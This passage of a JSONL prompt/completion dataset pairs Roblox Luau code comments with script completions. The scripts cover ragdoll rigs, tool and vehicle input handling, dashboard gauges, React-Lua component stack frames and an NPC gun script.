\"RagdollHeadAttachment\"},\n\t\t\tR6_HEAD_LIMITS),\n\t\t[\"Left Arm\"] = query(\n\t\t\t{\"Torso\", \"LeftCollarAttachment\"},\n\t\t\t{\"Left Arm\", \"RagdollLeftArmAttachment\"},\n\t\t\tR6_SHOULDER_LIMITS),\n\t\t[\"Right Arm\"] = query(\n\t\t\t{\"Torso\", \"RightCollarAttachment\"},\n\t\t\t{\"Right Arm\", \"RagdollRightArmAttachment\"},\n\t\t\tR6_SHOULDER_LIMITS),\n\t\t[\"Left Leg\"] = createJointData(torsoLeftAttachment, leftLegAttachment, R6_HIP_LIMITS),\n\t\t[\"Right Leg\"] = createJointData(torsoRightAttachment, rightLegAttachment, R6_HIP_LIMITS),\n\t}\nend\n\nfunction RigTypes.getR15Attachments(model)\n\tlocal query = find(model)\n\n\treturn {\n\t\tHead = query(\n\t\t\t{\"UpperTorso\", \"NeckRigAttachment\"},\n\t\t\t{\"Head\", \"NeckRigAttachment\"},\n\t\t\tHEAD_LIMITS),\n\n\t\tLowerTorso = query(\n\t\t\t{\"UpperTorso\", \"WaistRigAttachment\"},\n\t\t\t{\"LowerTorso\", \"RootRigAttachment\"},\n\t\t\tLOWER_TORSO_LIMITS),\n\n\t\tLeftUpperArm = query(\n\t\t\t{\"UpperTorso\", \"LeftShoulderRigAttachment\"},\n\t\t\t{\"LeftUpperArm\", \"LeftShoulderRigAttachment\"},\n\t\t\tSHOULDER_LIMITS),\n\t\tLeftLowerArm = query(\n\t\t\t{\"LeftUpperArm\", \"LeftElbowRigAttachment\"},\n\t\t\t{\"LeftLowerArm\", \"LeftElbowRigAttachment\"},\n\t\t\tELBOW_LIMITS),\n\t\tLeftHand = query(\n\t\t\t{\"LeftLowerArm\", \"LeftWristRigAttachment\"},\n\t\t\t{\"LeftHand\", \"LeftWristRigAttachment\"},\n\t\t\tHAND_FOOT_LIMITS),\n\n\t\tRightUpperArm = query(\n\t\t\t{\"UpperTorso\", \"RightShoulderRigAttachment\"},\n\t\t\t{\"RightUpperArm\", \"RightShoulderRigAttachment\"},\n\t\t\tSHOULDER_LIMITS),\n\t\tRightLowerArm = query(\n\t\t\t{\"RightUpperArm\", \"RightElbowRigAttachment\"},\n\t\t\t{\"RightLowerArm\", \"RightElbowRigAttachment\"},\n\t\t\tELBOW_LIMITS),\n\t\tRightHand = query(\n\t\t\t{\"RightLowerArm\", \"RightWristRigAttachment\"},\n\t\t\t{\"RightHand\", \"RightWristRigAttachment\"},\n\t\t\tHAND_FOOT_LIMITS),\n\n\t\tLeftUpperLeg = query(\n\t\t\t{\"LowerTorso\", \"LeftHipRigAttachment\"},\n\t\t\t{\"LeftUpperLeg\", \"LeftHipRigAttachment\"},\n\t\t\tHIP_LIMITS),\n\t\tLeftLowerLeg = query(\n\t\t\t{\"LeftUpperLeg\", \"LeftKneeRigAttachment\"},\n\t\t\t{\"LeftLowerLeg\", \"LeftKneeRigAttachment\"},\n\t\t\tKNEE_LIMITS),\n\t\tLeftFoot = query(\n\t\t\t{\"LeftLowerLeg\", \"LeftAnkleRigAttachment\"},\n\t\t\t{\"LeftFoot\", \"LeftAnkleRigAttachment\"},\n\t\t\tHAND_FOOT_LIMITS),\n\n\t\tRightUpperLeg = query(\n\t\t\t{\"LowerTorso\", \"RightHipRigAttachment\"},\n\t\t\t{\"RightUpperLeg\", \"RightHipRigAttachment\"},\n\t\t\tHIP_LIMITS),\n\t\tRightLowerLeg = query(\n\t\t\t{\"RightUpperLeg\", \"RightKneeRigAttachment\"},\n\t\t\t{\"RightLowerLeg\", \"RightKneeRigAttachment\"},\n\t\t\tKNEE_LIMITS),\n\t\tRightFoot = query(\n\t\t\t{\"RightLowerLeg\", \"RightAnkleRigAttachment\"},\n\t\t\t{\"RightFoot\", \"RightAnkleRigAttachment\"},\n\t\t\tHAND_FOOT_LIMITS),\n\t}\nend\n\nfunction RigTypes.getR6NoCollisions(model)\n\tlocal list = {}\n\n\tlocal function addPair(pair)\n\t\tlocal part0 = model:FindFirstChild(pair[1])\n\t\tlocal part1 = model:FindFirstChild(pair[2])\n\n\t\tif part0 and part1 then\n\t\t\ttable.insert(list, {part0, part1})\n\t\tend\n\tend\n\n\taddPair({\"Head\", \"Torso\"})\n\taddPair({\"Left Arm\", \"Torso\"})\n\taddPair({\"Right Arm\", \"Torso\"})\n\taddPair({\"Left Leg\", \"Torso\"})\n\taddPair({\"Right Leg\", \"Torso\"})\n\n\taddPair({\"Left Leg\", \"Right Leg\"})\n\n\treturn list\nend\n\n\nfunction RigTypes.getR15NoCollisions(model)\n\tlocal list = {}\n\n\tlocal function addPair(pair)\n\t\tlocal part0 = model:FindFirstChild(pair[1])\n\t\tlocal part1 = model:FindFirstChild(pair[2])\n\n\t\tif part0 and part1 then\n\t\t\ttable.insert(list, {part0, part1})\n\t\tend\n\tend\n\n\taddPair({\"Head\", \"UpperTorso\"})\n\taddPair({\"UpperTorso\", \"LowerTorso\"})\n\n\taddPair({\"UpperTorso\", \"LeftUpperArm\"})\n\taddPair({\"LowerTorso\", \"LeftUpperArm\"})\n\taddPair({\"LeftUpperArm\", \"LeftLowerArm\"})\n\taddPair({\"LeftLowerArm\", \"LeftHand\"})\n\taddPair({\"LeftUpperArm\", \"LeftHand\"})\n\n\taddPair({\"UpperTorso\", \"RightUpperArm\"})\n\taddPair({\"LowerTorso\", \"RightUpperArm\"})\n\taddPair({\"RightUpperArm\", \"RightLowerArm\"})\n\taddPair({\"RightLowerArm\", \"RightHand\"})\n\taddPair({\"RightUpperArm\", \"RightHand\"})\n\n\taddPair({\"LeftUpperLeg\", \"RightUpperLeg\"})\n\n\taddPair({\"UpperTorso\", \"RightUpperLeg\"})\n\taddPair({\"LowerTorso\", \"RightUpperLeg\"})\n\taddPair({\"RightUpperLeg\", \"RightLowerLeg\"})\n\taddPair({\"RightLowerLeg\", \"RightFoot\"})\n\taddPair({\"RightUpperLeg\", \"RightFoot\"})\n\n\taddPair({\"UpperTorso\", \"LeftUpperLeg\"})\n\taddPair({\"LowerTorso\", \"LeftUpperLeg\"})\n\taddPair({\"LeftUpperLeg\", \"LeftLowerLeg\"})\n\taddPair({\"LeftLowerLeg\", \"LeftFoot\"})\n\taddPair({\"LeftUpperLeg\", \"LeftFoot\"})\n\n\t-- Support weird R15 rigs\n\taddPair({\"UpperTorso\", \"LeftLowerLeg\"})\n\taddPair({\"UpperTorso\", \"RightLowerLeg\"})\n\taddPair({\"LowerTorso\", \"LeftLowerLeg\"})\n\taddPair({\"LowerTorso\", \"RightLowerLeg\"})\n\n\taddPair({\"UpperTorso\", \"LeftLowerArm\"})\n\taddPair({\"UpperTorso\", \"RightLowerArm\"})\n\n\tlocal upperTorso = model:FindFirstChild(\"UpperTorso\")\n\tif upperTorso and upperTorso.Size.x <= 1.5 then\n\t\taddPair({\"Head\", \"LeftUpperArm\"})\n\t\taddPair({\"Head\", \"RightUpperArm\"})\n\tend\n\n\treturn list\nend\n\nreturn RigTypes\n"} +{"prompt": "--[[\nApplies the theme.\n--]]", "completion": "\nreturn function(MapModel)\n\t--Replace the colors.\n\tReplaceColors(MapModel,BrickColor.new(\"Bright green\"),BrickColor.new(\"Institutional white\"))\nend\n"} +{"prompt": "--onselected, save shoulders and get player", "completion": "\nscript.Parent.Equipped:connect(function()\n\tif selected then return end\n\tselected = true\n\tplayer = game.Players:playerFromCharacter(script.Parent.Parent)\n\tlocal ch = script.Parent.Parent\n\tWaitForChild(ch, \"Torso\")\n\tRSH = WaitForChild(ch.Torso, \"Right Shoulder\")\n\tLSH = WaitForChild(ch.Torso, \"Left Shoulder\")\n\tGRP = WaitForChild(ch[\"Right Arm\"], \"RightGrip\")\n\t_G.Grip = GRP\n\t--\n\tRSH.Part1 = nil\n\tLSH.Part1 = nil\n\t--\n\tRW.Part0 = ch.Torso\n\tRW.C0 = CFrame.new(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)\n\tRW.C1 = CFrame.new(0, 0.5, 0)\n\tRW.Part1 = ch[\"Right Arm\"]\n\tRW.Parent = ch.Torso\n\t_G.R = RW\n\t--\n\tLW.Part0 = ch.Torso\n\tLW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)\n\tLW.C1 = CFrame.new(0, 0.5, 0)\n\tLW.Part1 = ch[\"Left Arm\"]\n\tLW.Parent = ch.Torso\n\t_G.L = LW\n\t--\n\t--GRP.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)\n\t--Bring_Arm_Up animation\n\tfor i = 0, 1, 0.05 do\n\t\twait()\n\t\tRW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.5*i, 0, -0.5*i)\n\t\tLW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i, 0, 0.7*i)\t\n\t\tLW.C1 = CFrame.new(-0.3*i, 1.7*i, 0)\n\tend\n\t--put in grip\n\twait()\n\tlocal rg = (ch[\"Right Arm\"]:FindFirstChild(\"RightGrip\") or GRP)\n\tif rg ~= GRP then\n\t\tGRP.Parent = ch[\"Right Arm\"]\n\t\trg:remove()\n\tend\nend)\n"} +{"prompt": "--Settings", "completion": "\nlocal MaxDistance = 15\nlocal TimeToEnter = 0.7\nlocal EnterKey = Enum.KeyCode.E\nlocal EnterButton = Enum.KeyCode.ButtonX"} +{"prompt": "--------------------------------------------------", "completion": "\nscript.Parent.Values.RPM.Changed:connect(function()\n\tintach.Rotation = -65 + script.Parent.Values.RPM.Value * 250 / 8000\nend)\n\nscript.Parent.Values.Velocity.Changed:connect(function(property)\n\tinspd.Rotation = -30 + (440 / 160) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((10/12) * (50/88))))\nend)\n\nscript.Parent.Values.Gear.Changed:connect(function()\n\tlocal gearText = script.Parent.Values.Gear.Value\n\tif gearText == 0 then \n\t\tgearText = \"N\"\n\t\tcar.Body.Dash.DashSc.G.Gear.Text = \"N\"\n\t\tcar.DriveSeat.Filter:FireServer('reverse',false)\n\telseif gearText == -1 then\n\t\tgearText = \"R\"\n\t\tcar.Body.Dash.DashSc.G.Gear.Text = \"R\"\n\t\tcar.DriveSeat.Filter:FireServer('reverse',true)\n\tend\n\tcar.Body.Dash.DashSc.G.Gear.Text = gearText\nend)\n\nscript.Parent.Values.PBrake.Changed:connect(function()\n\tdash.PBrake.Visible = script.Parent.Values.PBrake.Value\nend)\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\n\nreturn function(p1)\n\tlocal f \n\tf = p1.Touched:Connect(function()\n\n\tend)\n\tlocal v1 = p1:GetTouchingParts();\n\tf:Disconnect();\n\treturn v1;\nend;\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function GetSquad(player)\n\tfor _, squad in pairs(SQUADS:GetChildren()) do\n\t\tif squad:FindFirstChild(player.Name) then\n\t\t\treturn squad\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Camera Shake Presets\n-- Stephen Leitnick\n-- February 26, 2018", "completion": "\n"} +{"prompt": "-- ROBLOX deviation: since owner could be a function or a class component, we\n-- need to do additional handling to get its name. It's easier to make this a\n-- reusable function", "completion": "\nlocal function describeOwner(owner: nil | ReactComponent): string?\n\tif typeof(owner) == \"function\" then\n\t\treturn debug.info(owner :: (any) -> any, \"n\")\n\telseif typeof(owner) == \"table\" then\n\t\treturn tostring(owner)\n\tend\n\treturn nil\nend\n\nlocal function describeBuiltInComponentFrame(\n\tname: string,\n\tsource: Source | nil,\n\t-- ROBLOX deviation: owner could be a class component\n\towner: nil | ReactComponent\n): string\n\t-- ROBLOX deviation START: for built-in components, we can provide the full\n\t-- description regardless of `enableStackLocations` since we don't actually\n\t-- need to do any callstack trickery to get it\n\n\t-- if enableComponentStackLocations then\n\t-- \tif prefix == nil then\n\t-- \t\t-- Extract the VM specific prefix used by each line.\n\t-- \t\tlocal _, x = pcall(error, debug.traceback())\n\n\t-- \t\tlocal match = x.stack.trim().match(\"\\n00:00:00.000 - \")\n\t-- \t\tif match then\n\t-- \t\t\tprefix = match[1]\n\t-- \t\telse\n\t-- \t\t\tprefix = ''\n\t-- \t\tend\n\t-- \tend\n\t-- \t-- We use the prefix to ensure our stacks line up with native stack frames.\n\t-- \treturn \"\\n\" .. prefix .. name\n\t-- else\n\t-- \tlocal ownerName = nil\n\t-- \tif _G.__DEV__ and owner then\n\t-- \t\townerName = describeOwner(owner)\n\t-- \tend\n\n\t-- \treturn describeComponentFrame(name, source, ownerName)\n\t-- end\n\tlocal ownerName = nil\n\tif _G.__DEV__ and owner then\n\t\townerName = describeOwner(owner)\n\tend\n\n\treturn describeComponentFrame(name, source, ownerName)\n\t-- ROBLOX deviation END\nend\n\nlocal reentry = false\nlocal componentFrameCache = nil\nif _G.__DEV__ then\n\tcomponentFrameCache = setmetatable({}, { __mode = \"k\" })\nend\n\nlocal function describeNativeComponentFrame(\n\tfn: nil | ReactComponent, -- ROBLOX TODO: only accept tables with __tostring metamethod overridden\n\tconstruct: boolean\n): string\n\t-- // If something asked for a stack inside a fake render, it should get ignored.\n\tif not fn or reentry then\n\t\treturn \"\"\n\tend\n\n\tif _G.__DEV__ then\n\t\tlocal frame = componentFrameCache[fn]\n\n\t\tif frame ~= nil then\n\t\t\treturn frame\n\t\tend\n\tend\n\n\tlocal control\n\treentry = true\n\n\t-- deviation: Error.prepareStackTrace is not implemented\n\t-- local previousPrepareStackTrace = Error.prepareStackTrace\n\t-- Error.prepareStackTrace = undefined\n\tlocal previousDispatcher\n\n\tif _G.__DEV__ then\n\t\tpreviousDispatcher = ReactCurrentDispatcher.current\n\t\t-- Set the dispatcher in DEV because this might be call in the render\n\t\t-- function for warnings.\n\t\tReactCurrentDispatcher.current = nil\n\t\tdisableLogs()\n\tend\n\n\t-- // This should throw.\n\t-- deviation: Lua does not have stack traces with errors, so we\n\t-- use xpcall to convert the error and append a stack trace.\n\t-- This will change the theorical stack trace we want, because of\n\t-- the function where we call 'debug.traceback()', but the control\n\t-- stack will have the same added frame.\n\tlocal traceback\n\tlocal _, sample = xpcall(function()\n\t\tif construct then\n\t\t\t-- deviation: since we can't have a meaningful stack trace when\n\t\t\t-- constructing from a component class (because it does not locate\n\t\t\t-- component definition), we skip this case.\n\t\telse\n\t\t\tlocal _, x = pcall(function()\n\t\t\t\ttraceback = debug.traceback()\n\t\t\t\terror({\n\t\t\t\t\tstack = traceback,\n\t\t\t\t})\n\t\t\tend)\n\t\t\tcontrol = x;\n\t\t\t-- ROBLOX FIXME: Luau flow analysis bug workaround\n\t\t\t(fn :: (...any) -> ...any)()\n\t\tend\n\tend, function(message)\n\t\treturn {\n\t\t\tmessage = message,\n\t\t\tstack = traceback,\n\t\t}\n\tend)\n\n\t-- deviation: Lua does not have a structure that works like a try-catch-finally\n\t-- so we a variable to know if the catch block returns a value. If it returns,\n\t-- 'earlyOutValue' will be set and we can return its value after running the\n\t-- instructions in the finally block.\n\tlocal earlyOutValue = nil\n\n\tif sample and control and typeof(sample.stack) == \"string\" then\n\t\t-- // This extracts the first frame from the sample that isn't also in the control.\n\t\t-- // Skipping one frame that we assume is the frame that calls the two.\n\t\tlocal sampleLines = string.split(sample.stack, \"\\n\")\n\t\tlocal controlLines = string.split(control.stack, \"\\n\")\n\t\t-- deviation: remove one because our array of lines contains an empty string\n\t\t-- at the end\n\t\tlocal sampleIndex = #sampleLines - 1\n\t\tlocal controlIndex = #controlLines - 1\n\n\t\twhile\n\t\t\tsampleIndex >= 2\n\t\t\tand controlIndex >= 0\n\t\t\tand sampleLines[sampleIndex] ~= controlLines[controlIndex]\n\t\tdo\n\t\t\t-- // We expect at least one stack frame to be shared.\n\t\t\t-- // Typically this will be the root most one. However, stack frames may be\n\t\t\t-- // cut off due to maximum stack limits. In this case, one maybe cut off\n\t\t\t-- // earlier than the other. We assume that the sample is longer or the same\n\t\t\t-- // and there for cut off earlier. So we should find the root most frame in\n\t\t\t-- // the sample somewhere in the control.\n\t\t\tcontrolIndex = controlIndex - 1\n\t\tend\n\n\t\twhile sampleIndex >= 3 and controlIndex >= 1 do\n\t\t\tsampleIndex = sampleIndex - 1\n\t\t\tcontrolIndex = controlIndex - 1\n\t\t\t-- // Next we find the first one that isn't the same which should be the\n\t\t\t-- // frame that called our sample function and the control.\n\t\t\tif sampleLines[sampleIndex] ~= controlLines[controlIndex] then\n\t\t\t\t-- // In V8, the first line is describing the message but other VMs don't.\n\t\t\t\t-- // If we're about to return the first line, and the control is also on the same\n\t\t\t\t-- // line, that'sampleIndex a pretty good indicator that our sample threw at same line as\n\t\t\t\t-- // the control. I.e. before we entered the sample frame. So we ignore this result.\n\t\t\t\t-- // This can happen if you passed a class to function component, or non-function.\n\t\t\t\tif sampleIndex ~= 1 or controlIndex ~= 1 then\n\t\t\t\t\trepeat\n\t\t\t\t\t\tsampleIndex = sampleIndex - 1\n\t\t\t\t\t\tcontrolIndex = controlIndex - 1\n\t\t\t\t\t\t-- // We may still have similar intermediate frames from the construct call.\n\t\t\t\t\t\t-- // The next one that isn't the same should be our match though.\n\t\t\t\t\t\tif\n\t\t\t\t\t\t\tcontrolIndex < 0\n\t\t\t\t\t\t\tor sampleLines[sampleIndex] ~= controlLines[controlIndex]\n\t\t\t\t\t\tthen\n\t\t\t\t\t\t\t-- deviation: add the ' in ' prefix to format the component stack\n\t\t\t\t\t\t\t-- similar to React\n\t\t\t\t\t\t\tlocal frame = \"\\n\" .. prefix .. sampleLines[sampleIndex]\n\n\t\t\t\t\t\t\tif _G.__DEV__ then\n\t\t\t\t\t\t\t\tcomponentFrameCache[fn] = frame\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t-- // Return the line we found.\n\t\t\t\t\t\t\t-- deviation: to mimic the behavior of the try-catch-finally\n\t\t\t\t\t\t\t-- we cannot return the value here.\n\t\t\t\t\t\t\tearlyOutValue = frame\n\t\t\t\t\t\tend\n\t\t\t\t\tuntil not (sampleIndex >= 3 and controlIndex >= 1)\n\t\t\t\tend\n\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\n\treentry = false\n\tif _G.__DEV__ then\n\t\tReactCurrentDispatcher.current = previousDispatcher\n\t\treenableLogs()\n\tend\n\n\t-- deviation: Error.prepareStackTrace is not implemented\n\t-- Error.prepareStackTrace = previousPrepareStackTrace\n\n\t-- deviation: return here to micmic the end of the finally block\n\tif earlyOutValue ~= nil then\n\t\treturn earlyOutValue\n\tend\n\n\t-- // Fallback to just using the name if we couldn't make it throw.\n\tlocal name = \"\"\n\n\t-- ROBLOX deviation: Can't get displayName for functions\n\tif typeof(fn) == \"function\" then\n\t\t-- ROBLOX FIXME: type refinement\n\t\tname = debug.info(fn :: ((any) -> any), \"n\")\n\t\t-- ROBLOX deviation: since fn can be a class, we can get the class name here\n\telseif typeof(fn) == \"table\" then\n\t\tname = tostring(fn)\n\tend\n\n\tlocal syntheticFrame = \"\"\n\tif name ~= nil and name ~= \"\" then\n\t\tsyntheticFrame = describeBuiltInComponentFrame(name)\n\tend\n\n\tif _G.__DEV__ then\n\t\tcomponentFrameCache[fn] = syntheticFrame\n\tend\n\n\treturn syntheticFrame\nend\n"} +{"prompt": "-- teererererererphof", "completion": "\nlocal player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)\n\nif player ~= nil then"} +{"prompt": "-- ROBLOX TODO: Uncomment this type once Luau has supported ... syntax\n-- type Function = (...) -> any;\n-- ROBLOX TODO: Fix once Luau has support for default type arguments", "completion": "\ntype MockDefaultY = Array\ntype MockFunctionState = {\n\tcalls: Array,\n\tinstances: Array,\n\tinvocationCallOrder: Array,\n\tresults: Array,\n}\n"} +{"prompt": "--Get User Input", "completion": "\ngame:GetService(\"UserInputService\").InputBegan:Connect(function(InputObj)\n\tif InputObj.UserInputType == Enum.UserInputType.Keyboard then\n\t\tif InputObj.KeyCode == EnterKey then\n\t\t\tif AdornedSeat then\n\t\t\t\tEnterStart(\"Keyboard\")\n\t\t\telse\n\t\t\t\tExitSeat()\n\t\t\tend\n\t\tend\n\telseif InputObj.KeyCode == EnterButton then\n\t\tif AdornedSeat then\n\t\t\tEnterStart(\"Gamepad\")\n\t\telse\n\t\t\tExitSeat()\n\t\tend\n\tend\t\nend)\n\ngame:GetService(\"UserInputService\").InputEnded:Connect(function(InputObj)\n\tif InputObj.UserInputType == Enum.UserInputType.Keyboard then\n\t\tif InputObj.KeyCode == EnterKey then\n\t\t\tEnterKeyDown = false\n\t\tend\n\telseif InputObj.KeyCode == EnterButton then\n\t\tif AdornedSeat then\n\t\t\tEnterKeyDown = false\n\t\tend\n\tend\t\nend)\n"} +{"prompt": "--timer.Value = timer.MaxValue -- refresh added", "completion": "\ntimer.Value = timer.MaxValue\nif child:IsA(\"BasePart\") then\npetalz(child.Position) \nend\t\nend\nfunction OnAdded2(child)\n\t\n\tfor d = 1, 10 do\n\t\twait(0.1)\n\t\t\tif child:IsA(\"BasePart\") then\n\t\t\t\tif d == 10 then\n\t\t\t\t\tchild:Destroy()\n\t\t\t\telse\n\t\t\t\tchild.Transparency = child.Transparency + 0.1\n\t\t\t\tend\n\t\t\tend\n\tend\n\nend\nfunction OnRemoved(child)\nif child:IsA(\"BasePart\") then\n\t\t\tstr.Value = str.Value + 1\npetalz(child.Position) \nend\t\nend\n\nscript.Parent.ChildAdded:connect(OnAdded)\nscript.ChildAdded:connect(OnAdded2)\nscript.Parent.ChildRemoved:connect(OnRemoved)\n\nwhile script ~= nil do \n\twait(1)\n\ttimer.Value = timer.Value - 1\n\tif timer.Value == 0 and not script.Parent:findFirstChild(\"Action\") then\n\t\tz = script.Parent:GetChildren() \n\t\tfor i= 1, #z do \n\t\tif z[i]:IsA(\"BasePart\") and z[i].Name ~= \"Eye\" and z[i].Name ~= \"Ear\" then\n\t\t\tz[i]:Destroy() \n\t\tend\n\t\tend \n\tend\nend\n"} +{"prompt": "--[[Spawn(function()\n\twhile true do\n\t\tfireanimdelay = fireanimdelay - game:GetService(\"RunService\").Heartbeat:wait()\n\t\tif fireanimdelay <= 0 then\n\t\t\tfireanimdelay = 0\n\t\t\tif anim2 and fireanimloop then anim2:Stop() fireanimloop = false end\n\t\tend\n\t\twait()\n\tend\nend)]]", "completion": "\n\nfunction wait(TimeToWait)\n\tif TimeToWait ~= nil then\n\t\tlocal TotalTime = 0\n\t\tTotalTime = TotalTime + game:GetService(\"RunService\").Heartbeat:wait()\n\t\twhile TotalTime < TimeToWait do\n\t\t\tTotalTime = TotalTime + game:GetService(\"RunService\").Heartbeat:wait()\n\t\tend\n\telse\n\t\tgame:GetService(\"RunService\").Heartbeat:wait()\n\tend\nend\n\nfunction waitfor(parent,name)\n\twhile parent:FindFirstChild(name)==nil do\n\t\twait()\n\tend\n\treturn parent:FindFirstChild(name)\nend\n\nfunction checkintangible(hit)\n\tif hit and hit~=nil then\n\t\tif hit:IsDescendantOf(sp.Parent) or hit.Transparency>.8 or hit.Name==\"Handle\" or hit.Name==\"Effect\" or hit.Name==\"Bullet\" or hit.Name==\"Laser\" or string.lower(hit.Name)==\"water\" or hit.Name==\"Rail\" or hit.Name==\"Arrow\" then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction castray(startpos,vec,length,ignore,delayifhit)\n\tlocal hit,endpos2=game.Workspace:FindPartOnRay(Ray.new(startpos,vec*length),ignore)\n\tif hit~=nil then\n\t\tif checkintangible(hit) then\n\t\t\tif delayifhit then\n\t\t\t\twait()\n\t\t\tend\n\t\t\thit,endpos2=castray(endpos2+(vec*.01),vec,length-((startpos-endpos2).magnitude),ignore,delayifhit)\n\t\tend\n\tend\n\treturn hit,endpos2\nend\n\nfunction drawbeam(beamstart,beamend,clr,fadedelay)\n\tlocal dist=(beamstart-beamend).magnitude\n\tlocal laser=Instance.new(\"Part\")\n\tlaser.Name=\"Effect\"\n\tlaser.Anchored=true\n\tlaser.CanCollide=false\n\tlaser.Shape=\"Block\"\n\tlaser.formFactor=\"Custom\"\n\tlaser.Size=Vector3.new(.2,.2,.2)\n\tlaser.Transparency=0\n\tlaser.Material=Enum.Material.Plastic\n\tlaser.Locked=true\n\tlaser.TopSurface=0\n\tlaser.BottomSurface=0\n\tlaser.BrickColor=clr\n\tlaser.CFrame=CFrame.new(beamend,beamstart)*CFrame.new(0,0,-dist/2)*CFrame.Angles(math.pi/2,0,0)\n\tlocal m=Instance.new(\"SpecialMesh\")\n\tm.Scale=Vector3.new(1,dist*5,1)\n\tm.MeshType=\"Brick\"\n\tm.Parent=laser\n\tdebris:AddItem(laser,fadedelay*0.5)\n\tlaser.Parent=game.Workspace\n\n\t--[[local frames=math.floor(fadedelay/rate)\n\tfor frame=1,frames do\n\t\twait(rate)\n\t\tlocal percent=frame/frames\n\t\tlaser.CFrame=laser.CFrame+windvec*rate\n\t\tlaser.Transparency=.5+(percent*.5)\n\tend]]\n\twait(.5)\n\tlaser:remove()\nend\n\nfunction fire()\n\tlocal hu=sp.Parent:FindFirstChild(\"Humanoid\")\n\tlocal he=sp.Parent:FindFirstChild(\"Head\")\n\tlocal t=sp.Parent:FindFirstChild(\"Torso\")\n\tlocal team=sp.Parent:FindFirstChild(\"TEAM\")\n\t--if handlestofire == 1 then handlestofire = 2 elseif handlestofire == 2 then handlestofire = 1 end\n\tif hu and team and hu.Health>0 and t and he and equipped then\n\n\t\tif anim2 and not fireanimloop then anim2:Play() anim2:AdjustSpeed(5) fireanimloop = true end\n\t\tfireanimdelay = 0.5\n\t\tlocal startpos=he.Position\n\t\tlocal fakestartpos=(handles[handlestofire].CFrame*CFrame.new(barreloffset)).p\n\t\tlocal vec=(sp.Parent.Target.Value.Position-startpos).unit + (Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000)) / (1500*30))\n\n\t\tlocal p=Instance.new(\"Part\")\n\t\tp.Name=\"Effect\"\n\t\tp.BrickColor=BrickColor.new(\"Black\")\n\t\tp.CanCollide=false\n\t\tp.TopSurface=\"Smooth\"\n\t\tp.BottomSurface=\"Smooth\"\n\t\tp.formFactor=\"Custom\"\n\t\tp.Size=Vector3.new(0,0,0)\n\t\tp.Transparency=1\n\t\tlocal m=Instance.new(\"SpecialMesh\")\n\t\tm.Parent=p\n\n\t\tlocal hit,endpos=castray(startpos,vec,range,sp.Parent,false)\n\t\tlocal fakevec=(endpos-fakestartpos).unit\n\t\tif hit~=nil then\n\t\t\tlocal newcf=CFrame.new(endpos,endpos+fakevec)*CFrame.Angles(math.pi/2,0,0)*CFrame.new(0,0,0)\n\t\t\tp.CFrame=newcf\n\t\t\tlocal w=Instance.new(\"Weld\")\n\t\t\tw.Part0=hit\n\t\t\tw.Part1=p\n\t\t\tw.C0=hit.CFrame:inverse()*newcf\n\t\t\tw.C1=newcf:inverse()*newcf\n\t\t\tw.Parent=p\n\n\t\t\t--[[local c=Instance.new(\"ObjectValue\")\n\t\t\tc.Name=\"creator\"\n\t\t\tc.Value=game.Players.LocalPlayer\n\t\t\tc.Parent=p]]\n\t\t\t\n\t\t\tteam:clone().Parent=p\n\n\t\t\tlocal s=script.Script:clone()\n\t\t\ts.Parent=p\n\t\t\ts.Disabled=false\n\t\telse\n\t\t\tp.CFrame=CFrame.new(endpos,endpos+fakevec)\n\t\t\tp.Velocity=fakevec*power\n\t\t\tp.Parent=game.Workspace\n\t\tend\n\n\t\tdebris:AddItem(p,1)\n\t\tp.Parent=game.Workspace\n\n\t\tdelay(0,function()\n\t\t\tdrawbeam(fakestartpos,endpos,BrickColor.new(\"Bright yellow\"),.1)\n\t\tend)\n\n\t\tlocal sound=handles[handlestofire]:FindFirstChild(\"Fire\")\n\t\tif sound~=nil then\n\t\t\t--sound:Stop()\n\t\t\tsound:Play()\n\t\tend\n\n\t\tlocal shoulder=t:FindFirstChild(\"Right Shoulder\")\n\t\tif shoulder~=nil then\n\t\t\tshoulder.CurrentAngle=(math.pi/2)+.1\n\t\tend\n\tend\nend\n\nfunction onEquipped(mouse)\n\tequipped=true\n\tanim = sp.Parent.Humanoid:LoadAnimation(sp.idle)\n\tif anim then anim:Play() end\n\t--[[if mouse~=nil then\n\t\tthemouse=mouse\n\t\tmouse.Icon=\"rbxasset://textures\\\\GunCursor.png\"\n\t\tmouse.Button1Down:connect(function()\n\t\t\tmouse.Icon=\"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\tfiretime=tick()+spinuptime\n\t\t\tdown=true\n\t\tend)\n\t\tmouse.Button1Up:connect(function()\n\t\t\tdown=false\n\t\t\tmouse.Icon=\"rbxasset://textures\\\\GunCursor.png\"\n\t\tend)\n\tend]]\nend\n\nfunction Reload()\n\tanim3 = sp.Parent.Humanoid:LoadAnimation(sp.Reload)\n\tif anim3 then anim3:Play() anim3:AdjustSpeed(2.5) end\n\tlocal sound=handles[handlestofire]:FindFirstChild(\"Reload\")\n\tif sound~=nil then\n\t\tsound:Play()\n\tend\n\twait(reloadtime)\n\tammo = maxammo\nend\n\nfunction onUnequipped()\n\tif anim then anim:Stop() end\n\tequipped=false\n\tthemouse=nil\nend\n\nsp.Equipped:connect(onEquipped)\nsp.Unequipped:connect(onUnequipped)\n\nwhile true do\n\tif sp.Parent.Attack.Value == true then\n\t\tif ammo > 0 then\n\t\t\tammo = ammo - 